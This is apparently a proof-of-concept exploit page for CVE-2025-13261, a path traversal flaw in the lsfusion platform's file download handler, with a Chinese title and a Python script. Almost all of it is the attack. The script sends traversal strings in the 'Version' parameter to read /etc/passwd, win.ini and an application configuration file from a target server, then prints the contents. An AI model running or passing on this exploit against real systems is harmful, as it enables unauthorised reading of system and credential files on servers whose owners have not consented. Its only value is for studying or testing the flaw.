CVE-2025-13261: lsfusion platform DownloadFileRequestHandler路径遍历漏洞

import requests # CVE-2025-13261 Path Traversal PoC for lsfusion platform # Target: lsfusion platform DownloadFileRequestHandler def exploit_cve_2025_13261(target_url, file_path): """ Exploit path traversal in DownloadFileRequestHandler Args: target_url: Base URL of lsfusion platform file_path: Target file to read (e.g., ../../../../etc/passwd) """ # Construct path traversal payload # The Version parameter is vulnerable to path traversal params = { 'Version': file_path # Path traversal payload } # Target endpoint for file download endpoint = f"{target_url}/web-client/file/download" try: response = requests.get(endpoint, params=params, timeout=10) if response.status_code == 200: print(f"[+] Successfully retrieved file: {file_path}") print(f"[+] Content:\n{response.text[:500]}") return response.text else: print(f"[-] Request failed with status: {response.status_code}") return None except requests.RequestException as e: print(f"[-] Error: {e}") return None # Example usage if __name__ == "__main__": target = "http://target-lsfusion-server:8080" # Read sensitive files files_to_read = [ "../../../../etc/passwd", "../../../../windows/win.ini", "../../../lsfusion/config/application.properties" ] for file_path in files_to_read: exploit_cve_2025_13261(target, file_path)